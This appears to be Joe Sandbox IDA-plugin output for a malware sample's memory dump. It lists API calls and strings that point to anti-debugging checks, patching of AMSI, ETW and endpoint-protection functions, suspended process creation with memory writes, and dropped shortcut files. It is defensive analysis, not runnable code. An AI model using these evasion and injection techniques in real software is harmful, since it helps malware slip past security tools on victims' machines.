Part of subcall function 027EF9DC: GetModuleHandleW.KERNEL32(KernelBase,?,027EFDE0,UacInitialize,0282B37C,027FB9D4,UacScan,0282B37C,027FB9D4,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanString), ref: 027EF9E2
Part of subcall function 027EF9DC: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 027EF9F4

Part of subcall function 027EFA38: GetModuleHandleW.KERNEL32(KernelBase), ref: 027EFA48
Part of subcall function 027EFA38: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 027EFA5A
Part of subcall function 027EFA38: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 027EFA71

Part of subcall function 027D7E5C: GetFileAttributesA.KERNEL32(00000000,?,027F0714,ScanString,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanString,0282B37C,027FB9D4,UacScan,0282B37C,027FB9D4,UacInitialize), ref: 027D7E67

Part of subcall function 027DC364: GetModuleFileNameA.KERNEL32(00000000,?,00000105,0291F8C4,?,027F0A46,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanBuffer,0282B37C,027FB9D4,OpenSession), ref: 027DC37B

Part of subcall function 027EE064: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027EE134), ref: 027EE09F
Part of subcall function 027EE064: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,027EE134), ref: 027EE0CF
Part of subcall function 027EE064: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 027EE0E4
Part of subcall function 027EE064: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 027EE110
Part of subcall function 027EE064: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 027EE119

Part of subcall function 027D7E80: GetFileAttributesA.KERNEL32(00000000,?,027F3891,ScanString,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,Initialize), ref: 027D7E8B

Part of subcall function 027D8048: CreateDirectoryA.KERNEL32(00000000,00000000,?,027F3A2F,OpenSession,0282B37C,027FB9D4,ScanString,0282B37C,027FB9D4,Initialize,0282B37C,027FB9D4,ScanString,0282B37C,027FB9D4), ref: 027D8055

Strings

EnumServicesStatusA, xrefs: 027FAB5D
smartscreenps, xrefs: 027F0346, 027F0379, 027F03AC
BCryptQueryProviderRegistration, xrefs: 027F01D1
VirtualAlloc, xrefs: 027FAC84
CryptSIPGetSignedDataMsg, xrefs: 027F00EF
dbgcore, xrefs: 027F9423, 027F9437
FlushInstructionCache, xrefs: 027FAD83
SetUnhandledExceptionFilter, xrefs: 027FADB6
Initialize, xrefs: 027EFB2B, 027F0B11, 027F0CA5, 027F0E43, 027F0FE9, 027F129E, 027F1941, 027F1D7D, 027F2227, 027F2331, 027F2A18, 027F2D4A, 027F306A, 027F339E, 027F354C, 027F38A5, 027F3C5E, 027F5A3E, 027F5DD3, 027F61CF, 027F6394, 027F6600, 027F673E, 027F6943, 027F78B8, 027F8570, 027F957D, 027FA168, 027FA506, 027FAA35, 027FADEF, 027FB33B
bcrypt, xrefs: 027F01B5, 027F01E8, 027F021B, 027FA468
EnumServicesStatusExW, xrefs: 027FAB8A
ScanBuffer, xrefs: 027EFCBB, 027F0013, 027F023D, 027F07A4, 027F08B1, 027F09C9, 027F0D9D, 027F0F3B, 027F10E1, 027F1201, 027F1396, 027F148E, 027F16F7, 027F189D, 027F1A39, 027F1B4F, 027F1BDD, 027F1EF1, 027F2192, 027F22A3, 027F2440, 027F27EB, 027F28F7, 027F2B15, 027F2C32, 027F2F4D, 027F2FEE, 027F3162, 027F3322, 027F3644, 027F3A3B, 027F3CDA, 027F3DDC, 027F5878, 027F5BB2, 027F5ECB, 027F624B, 027F6584, 027F6836, 027F6A3B, 027F6BA1, 027F6D15, 027F6D91, 027F7934, 027F79C5, 027F7DF5, 027F7F88, 027F80E4, 027F81DC, 027F86F9, 027F89C6, 027F8B6C, 027F8CF9, 027F8E8D, 027F900C, 027F9283, 027F937B, 027F9797, 027F9A70, 027F9BE4, 027F9E1A, 027F9EAC, 027FA1E4, 027FA582, 027FAAB1, 027FB3B7
CreateProcessW, xrefs: 027FABB7
SLGetGenuineInformation, xrefs: 027FA01A
http, xrefs: 027F241D
GetProxyDllInfo, xrefs: 027EFE1F
Ntdll, xrefs: 027FAB26, 027FAB35, 027FAB44, 027FAB53
kernel32, xrefs: 027FAC9B, 027FACCE, 027FAD01, 027FAD34, 027FAD67, 027FAD9A, 027FADCD
SLGetEncryptedPIDEx, xrefs: 027FAFF6
C:\\Users\\Public\\Libraries\\, xrefs: 027F6337
EnumProcessModules, xrefs: 027FAB99
NtQueryVirtualMemory, xrefs: 027FB05C
C:\Windows\System32\, xrefs: 027F06FF, 027F7B3B, 027F8883
DllRegisterServer, xrefs: 027EFE49, 027F0395
IconIndex=, xrefs: 027F6F7D
can, xrefs: 027F4037
psapi, xrefs: 027FA30A
NtAccessCheck, xrefs: 027FB1C1
TrustOpenStores, xrefs: 027EFEF8
NtOpenObjectAuditAlarm, xrefs: 027F93F6
RtlQueryProcessDebugInformation, xrefs: 027FAB4E
GET, xrefs: 027F274A
psapi, xrefs: 027FAB9E
ntdll, xrefs: 027F93FB, 027F944B, 027F945F, 027FA7D3, 027FA806, 027FA839, 027FA86C, 027FA89F, 027FB040, 027FB073, 027FB0A6, 027FB0D9, 027FB10C, 027FB13F, 027FB172, 027FB1A5, 027FB1D8, 027FB20B, 027FB23E, 027FB271, 027FB2A4, 027FB2D7, 027FB30A
LdrLoadDll, xrefs: 027FB1F4
I_QueryTagInformation, xrefs: 027F940A
C:\Users\Public\, xrefs: 027F5F50, 027F71C3
DlpNotifyPreDragDrop, xrefs: 027FA5F8
NtAlertResumeThread, xrefs: 027FA7BC
MiniDumpWriteDump, xrefs: 027F941E
[InternetShortcut], xrefs: 027F6F18
NtOpenFile, xrefs: 027FB28D
NtDeviceIoControlFile, xrefs: 027FAB30
UacInitialize, xrefs: 027EFD83, 027F044A, 027F0B8D, 027F5704, 027F5ABA, 027F5FA7, 027F7ABD, 027F92FF, 027F971B
spp, xrefs: 027FA2A4, 027FA2D7, 027FAF74
NtWaitForSingleObject, xrefs: 027FA822
NtQueryInformationThread, xrefs: 027FB08F
RetailTracerEnable, xrefs: 027FA25A
LdrGetProcedureAddress, xrefs: 027FB227
DllGetActivationFactory, xrefs: 027F0362
SLGetSLIDList, xrefs: 027FA04D
VirtualProtect, xrefs: 027FACEA
GetProcessMemoryInfo, xrefs: 027FA2F3
CryptSIPVerifyIndirectData, xrefs: 027F00BC, 027FA326
ieproxy, xrefs: 027EFE09, 027EFE30, 027EFE60
SLIsGenuineLocalEx, xrefs: 027FA080
MiniDumpReadDumpStream, xrefs: 027F9432
endpointdlp, xrefs: 027FA60F, 027FA642, 027FA675, 027FA6A8
NtOpenSection, xrefs: 027FB0C2
.url, xrefs: 027F5F5B
ScanString, xrefs: 027EFBF3, 027EFE82, 027EFF97, 027F0128, 027F02B9, 027F0542, 027F0683, 027F0C09, 027F1821, 027F19BD, 027F1DF9, 027F2014, 027F2090, 027F23AD, 027F26D3, 027F299C, 027F2DD9, 027F320A, 027F341A, 027F34D0, 027F37FF, 027F3921, 027F3BE2, 027F5780, 027F591A, 027F5C5F, 027F6023, 027F66C2, 027F6EA8, 027F701F, 027F70D7, 027F7744, 027F7BDE, 027F8045, 027F8668, 027F910F, 027F9501, 027F98EA, 027F9CA6, 027F9FA4, 027FA35F, 027FA746, 027FA93D, 027FAEE7
CreateProcessAsUserW, xrefs: 027FABD5, 027FABF3
NtMapViewOfSection, xrefs: 027FB128
NtQuerySecurityObject, xrefs: 027FB18E
CreateProcessA, xrefs: 027FABA8
DlpGetWebSiteAccess, xrefs: 027FA691
NtOpenProcess, xrefs: 027F945A
OpenProcess, xrefs: 027FAD1D
OpenSession, xrefs: 027EFB8F, 027EFC57, 027F0607, 027F0728, 027F0835, 027F094D, 027F0D21, 027F0EBF, 027F1065, 027F1185, 027F131A, 027F1412, 027F15FF, 027F17A5, 027F1AD3, 027F1D01, 027F1E75, 027F1F98, 027F2116, 027F24BC, 027F253F, 027F2657, 027F276F, 027F287B, 027F2A99, 027F2BB6, 027F2E55, 027F2ED1, 027F30E6, 027F3286, 027F35C8, 027F3783, 027F399D, 027F3AB7, 027F3E58, 027F57FC, 027F5996, 027F5B36, 027F5CDB, 027F5E4F, 027F609F, 027F6153, 027F6410, 027F6508, 027F69BF, 027F6C99, 027F6E0D, 027F6FA3, 027F7153, 027F783C, 027F7A41, 027F7C5A, 027F7CFD, 027F7E90, 027F8258, 027F84F4, 027F87F1, 027F894A, 027F8AF0, 027F8C7D, 027F8E11, 027F8F90, 027F9093, 027F9207, 027F9485, 027F9675, 027F9966, 027F9AEC, 027F9D22, 027F9F28, 027FA0EC, 027FA3DB, 027FA48A, 027FA6CA, 027FA8C1, 027FA9B9, 027FAE6B, 027FB433
Kernel32, xrefs: 027FABAD, 027FABBC, 027FABF8
SLLoadApplicationPolicies, xrefs: 027FA0B3
DlpGetArchiveFileTraceInfo, xrefs: 027FA65E
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 027F0C7F
WriteVirtualMemory, xrefs: 027FAD50
CreateProcessWithLogonW, xrefs: 027FABE4
DlpCheckIsCloudSyncApp, xrefs: 027FA62B
NtCreateSection, xrefs: 027FB0F5
tquery, xrefs: 027FA271
DllGetClassObject, xrefs: 027EFDF8, 027F032F, 027FA2C0, 027FAF90
VirtualAllocEx, xrefs: 027FACB7
EnumServicesStatusExA, xrefs: 027FAB7B
EtwEventWrite, xrefs: 027FB2F3
UacScan, xrefs: 027EFD1F, 027F03CE, 027F04C6, 027F0A95, 027F167B, 027F1C59, 027F25BB, 027F2CCE, 027F3F50, 027F5D57, 027F62C7, 027F648C, 027F67BA, 027F68C7, 027F6B25, 027F6C1D, 027F77C0, 027F7B62, 027F7D79, 027F7F0C, 027F8160, 027F85EC, 027F8775, 027F88CE, 027F8A74, 027F8C01, 027F8D95, 027F8F14, 027F918B, 027F95F9, 027F9813, 027F99F4, 027F9B68, 027F9D9E, 027FAC0E
sppc, xrefs: 027FA031, 027FA064, 027FA097, 027FA0CA, 027FAFDA, 027FB00D
mssip32, xrefs: 027F00A0, 027F00D3, 027F0106, 027FA33D
advapi32, xrefs: 027F940F
NtQueryDirectoryFile, xrefs: 027FAB3F
GZmMS1j, xrefs: 027EFB04
EnumServicesStatusW, xrefs: 027FAB6C
SxTracerGetThreadContextDebug, xrefs: 027FA28D, 027FAF5D
NtReadVirtualMemory, xrefs: 027FB15B
acS, xrefs: 027F4024
FindCertsByIssuer, xrefs: 027EFF5E
CryptSIPGetInfo, xrefs: 027F0089
SLGatherMigrationBlob, xrefs: 027FAFC3
wintrust, xrefs: 027EFF0F, 027EFF42, 027EFF75
WintrustAddActionID, xrefs: 027EFF2B
NtQuerySystemInformation, xrefs: 027FAB21
URL=file:", xrefs: 027F6F27
EtwEventWriteEx, xrefs: 027FB2C0
CreateProcessAsUserA, xrefs: 027FABC6
WinHttp.WinHttpRequest.5.1, xrefs: 027F2631
Advapi, xrefs: 027FAB62, 027FAB71, 027FAB80, 027FAB8F, 027FABCB, 027FABDA, 027FABE9
sppwmi, xrefs: 027FAFA7
NtWriteVirtualMemory, xrefs: 027FB25A
HotKey=, xrefs: 027F70B1
UacUninitialize, xrefs: 027F3B66, 027F3ED4
NtGetWriteWatch, xrefs: 027FB029
BCryptRegisterProvider, xrefs: 027F0204
NtSetSecurityObject, xrefs: 027F9446
RtlAllocateHeap, xrefs: 027FA7EF, 027FA855
BCryptVerifySignature, xrefs: 027F019E, 027FA451
RtlCreateQueryDebugBuffer, xrefs: 027FA888

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: File$Module$AddressHandleProc$AttributesLibraryNamePath$CheckCloseCreateDebuggerDirectoryFreeInetInformationLoadName_OfflineOpenPresentQueryReadRemote
String ID: .url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$acS$advapi32$bcrypt$can$dbgcore$endpointdlp$http$ieproxy$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 2044571854-184510087
Opcode ID: 4d88536e74b4559dae4bd485161a7462ba406c3bbcf723a673e621b2469f94bf
Instruction ID: 3c4b08234970c144253658b5cabe0b23ff09f0b4f9402b1eaedd44ba74cfde20
Opcode Fuzzy Hash: 4d88536e74b4559dae4bd485161a7462ba406c3bbcf723a673e621b2469f94bf
Instruction Fuzzy Hash: A0143C39A1425D8BDF52EB65DC95ADEB3B6FF88300F1040E2A549AB310DB30AE95CF51

Function 027F82F8 Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2771
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027E889C: LoadLibraryA.KERNEL32(00000000,00000000,027E8983), ref: 027E88D0
Part of subcall function 027E889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027E8983), ref: 027E88E0
Part of subcall function 027E889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 027E88F9
Part of subcall function 027E889C: FreeLibrary.KERNEL32(74AE0000,00000000,0282B388,Function_0000662C,00000004,0282B398,0282B388,000186A3,00000040,0282B39C,74AE0000,00000000,00000000,00000000,00000000,027E8983), ref: 027E8963

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0291F7DC,0291F820,OpenSession,0282B37C,027FB9D4,UacScan,0282B37C), ref: 027F88B9
ResumeThread.KERNEL32(00000000,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,UacScan,0282B37C,027FB9D4,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4), ref: 027F8F03
CloseHandle.KERNEL32(00000000,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,UacScan,0282B37C,027FB9D4,00000000,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C), ref: 027F9082

Part of subcall function 027E8818: LoadLibraryW.KERNEL32(bcrypt,?,000005FC,00000000,0282B3A4,027EA43F,ScanString,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,Initialize,0282B3A4,027EA7F4,UacScan), ref: 027E882C
Part of subcall function 027E8818: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 027E8846
Part of subcall function 027E8818: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000005FC,00000000,0282B3A4,027EA43F,ScanString,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,Initialize), ref: 027E8882

CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,0282B37C,027FB9D4,UacInitialize,0282B37C,027FB9D4,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,UacScan,0282B37C), ref: 027F9474

Part of subcall function 027D7E5C: GetFileAttributesA.KERNEL32(00000000,?,027F0714,ScanString,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanString,0282B37C,027FB9D4,UacScan,0282B37C,027FB9D4,UacInitialize), ref: 027D7E67

Part of subcall function 027EDF80: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027EE052), ref: 027EDFBF
Part of subcall function 027EDF80: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 027EDFF9
Part of subcall function 027EDF80: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 027EE026
Part of subcall function 027EDF80: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 027EE02F

Part of subcall function 027E8204: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,027E828E), ref: 027E8270

ExitProcess.KERNEL32(00000000,OpenSession,0282B37C,027FB9D4,ScanBuffer,0282B37C,027FB9D4,Initialize,0282B37C,027FB9D4,00000000,00000000,00000000,ScanString,0282B37C,027FB9D4), ref: 027FB4A5

Strings

NtOpenSection, xrefs: 027FB0C2
EnumServicesStatusA, xrefs: 027FAB5D
ScanString, xrefs: 027F83FC, 027F8668, 027F910F, 027F9501, 027F98EA, 027F9CA6, 027F9FA4, 027FA35F, 027FA746, 027FA93D, 027FAEE7
VirtualAlloc, xrefs: 027FAC84
dbgcore, xrefs: 027F9423, 027F9437
CreateProcessAsUserW, xrefs: 027FABD5, 027FABF3
NtMapViewOfSection, xrefs: 027FB128
NtQuerySecurityObject, xrefs: 027FB18E
CreateProcessA, xrefs: 027FABA8
FlushInstructionCache, xrefs: 027FAD83
DlpGetWebSiteAccess, xrefs: 027FA691
SetUnhandledExceptionFilter, xrefs: 027FADB6
NtOpenProcess, xrefs: 027F945A
Initialize, xrefs: 027F8380, 027F8570, 027F957D, 027FA168, 027FA506, 027FAA35, 027FADEF, 027FB33B
bcrypt, xrefs: 027FA468
EnumServicesStatusExW, xrefs: 027FAB8A
OpenProcess, xrefs: 027FAD1D
OpenSession, xrefs: 027F8304, 027F8478, 027F84F4, 027F87F1, 027F894A, 027F8AF0, 027F8C7D, 027F8E11, 027F8F90, 027F9093, 027F9207, 027F9485, 027F9675, 027F9966, 027F9AEC, 027F9D22, 027F9F28, 027FA0EC, 027FA3DB, 027FA48A, 027FA6CA, 027FA8C1, 027FA9B9, 027FAE6B, 027FB433
Kernel32, xrefs: 027FABAD, 027FABBC, 027FABF8
SLLoadApplicationPolicies, xrefs: 027FA0B3
ScanBuffer, xrefs: 027F86F9, 027F89C6, 027F8B6C, 027F8CF9, 027F8E8D, 027F900C, 027F9283, 027F937B, 027F9797, 027F9A70, 027F9BE4, 027F9E1A, 027F9EAC, 027FA1E4, 027FA582, 027FAAB1, 027FB3B7
DlpGetArchiveFileTraceInfo, xrefs: 027FA65E
CreateProcessW, xrefs: 027FABB7
SLGetGenuineInformation, xrefs: 027FA01A
WriteVirtualMemory, xrefs: 027FAD50
Ntdll, xrefs: 027FAB26, 027FAB35, 027FAB44, 027FAB53
kernel32, xrefs: 027FAC9B, 027FACCE, 027FAD01, 027FAD34, 027FAD67, 027FAD9A, 027FADCD
CreateProcessWithLogonW, xrefs: 027FABE4
SLGetEncryptedPIDEx, xrefs: 027FAFF6
DlpCheckIsCloudSyncApp, xrefs: 027FA62B
NtCreateSection, xrefs: 027FB0F5
tquery, xrefs: 027FA271
EnumProcessModules, xrefs: 027FAB99
DllGetClassObject, xrefs: 027FA2C0, 027FAF90
VirtualAllocEx, xrefs: 027FACB7
NtQueryVirtualMemory, xrefs: 027FB05C
EnumServicesStatusExA, xrefs: 027FAB7B
UacScan, xrefs: 027F85EC, 027F8775, 027F88CE, 027F8A74, 027F8C01, 027F8D95, 027F8F14, 027F918B, 027F95F9, 027F9813, 027F99F4, 027F9B68, 027F9D9E, 027FAC0E
EtwEventWrite, xrefs: 027FB2F3
C:\Windows\System32\, xrefs: 027F8883
sppc, xrefs: 027FA031, 027FA064, 027FA097, 027FA0CA, 027FAFDA, 027FB00D
mssip32, xrefs: 027FA33D
advapi32, xrefs: 027F940F
NtQueryDirectoryFile, xrefs: 027FAB3F
EnumServicesStatusW, xrefs: 027FAB6C
SxTracerGetThreadContextDebug, xrefs: 027FA28D, 027FAF5D
psapi, xrefs: 027FA30A
NtReadVirtualMemory, xrefs: 027FB15B
NtAccessCheck, xrefs: 027FB1C1
NtOpenObjectAuditAlarm, xrefs: 027F93F6
RtlQueryProcessDebugInformation, xrefs: 027FAB4E
psapi, xrefs: 027FAB9E
SLGatherMigrationBlob, xrefs: 027FAFC3
ntdll, xrefs: 027F93FB, 027F944B, 027F945F, 027FA7D3, 027FA806, 027FA839, 027FA86C, 027FA89F, 027FB040, 027FB073, 027FB0A6, 027FB0D9, 027FB10C, 027FB13F, 027FB172, 027FB1A5, 027FB1D8, 027FB20B, 027FB23E, 027FB271, 027FB2A4, 027FB2D7, 027FB30A
LdrLoadDll, xrefs: 027FB1F4
I_QueryTagInformation, xrefs: 027F940A
DlpNotifyPreDragDrop, xrefs: 027FA5F8
NtAlertResumeThread, xrefs: 027FA7BC
MiniDumpWriteDump, xrefs: 027F941E
NtOpenFile, xrefs: 027FB28D
NtDeviceIoControlFile, xrefs: 027FAB30
UacInitialize, xrefs: 027F92FF, 027F971B
NtQuerySystemInformation, xrefs: 027FAB21
spp, xrefs: 027FA2A4, 027FA2D7, 027FAF74
NtWaitForSingleObject, xrefs: 027FA822
EtwEventWriteEx, xrefs: 027FB2C0
CreateProcessAsUserA, xrefs: 027FABC6
NtQueryInformationThread, xrefs: 027FB08F
RetailTracerEnable, xrefs: 027FA25A
Advapi, xrefs: 027FAB62, 027FAB71, 027FAB80, 027FAB8F, 027FABCB, 027FABDA, 027FABE9
sppwmi, xrefs: 027FAFA7
LdrGetProcedureAddress, xrefs: 027FB227
SLGetSLIDList, xrefs: 027FA04D
NtWriteVirtualMemory, xrefs: 027FB25A
VirtualProtect, xrefs: 027FACEA
GetProcessMemoryInfo, xrefs: 027FA2F3
CryptSIPVerifyIndirectData, xrefs: 027FA326
NtGetWriteWatch, xrefs: 027FB029
NtSetSecurityObject, xrefs: 027F9446
SLIsGenuineLocalEx, xrefs: 027FA080
MiniDumpReadDumpStream, xrefs: 027F9432
BCryptVerifySignature, xrefs: 027FA451
RtlAllocateHeap, xrefs: 027FA7EF, 027FA855
endpointdlp, xrefs: 027FA60F, 027FA642, 027FA675, 027FA6A8
RtlCreateQueryDebugBuffer, xrefs: 027FA888

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Library$CloseFileHandle$AddressCreateFreeLoadPathProcProcess$AttributesCacheExitFlushInstructionModuleNameName_ResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 2481178504-1225450241
Opcode ID: 7899f309d0e2291e6f40dfa57cec160f1b906506c975b4133385b8badc5260e0
Instruction ID: b4c5f7aba5514e3f01f023416b61cda6f43868a553a26921e9affe6cc03fbf0d
Opcode Fuzzy Hash: 7899f309d0e2291e6f40dfa57cec160f1b906506c975b4133385b8badc5260e0
Instruction Fuzzy Hash: 5F433B79A1415D8BCF22EB65DC959DEB3B6EF8C300F1440E6A50AAB310DB30AE95CF51

Function 027F4134 Relevance: 38.7, APIs: 2, Strings: 22, Instructions: 2741
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027E889C: LoadLibraryA.KERNEL32(00000000,00000000,027E8983), ref: 027E88D0
Part of subcall function 027E889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027E8983), ref: 027E88E0
Part of subcall function 027E889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 027E88F9
Part of subcall function 027E889C: FreeLibrary.KERNEL32(74AE0000,00000000,0282B388,Function_0000662C,00000004,0282B398,0282B388,000186A3,00000040,0282B39C,74AE0000,00000000,00000000,00000000,00000000,027E8983), ref: 027E8963

Part of subcall function 027D7E5C: GetFileAttributesA.KERNEL32(00000000,?,027F0714,ScanString,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanString,0282B37C,027FB9D4,UacScan,0282B37C,027FB9D4,UacInitialize), ref: 027D7E67

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanBuffer,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,027FBD74), ref: 027F549F

Part of subcall function 027EDEF8: Rt.N(?,?,00000000,027EDF72), ref: 027EDF20
Part of subcall function 027EDEF8: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,027EDF72), ref: 027EDF36
Part of subcall function 027EDEF8: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,027EDF72), ref: 027EDF55

Sleep.KERNEL32(000007D0,ScanBuffer,0282B37C,027FB9D4,UacScan,0282B37C,027FB9D4,OpenSession,0282B37C,027FB9D4,ScanBuffer,0282B37C,027FB9D4,UacScan,0282B37C,027FB9D4), ref: 027F458A

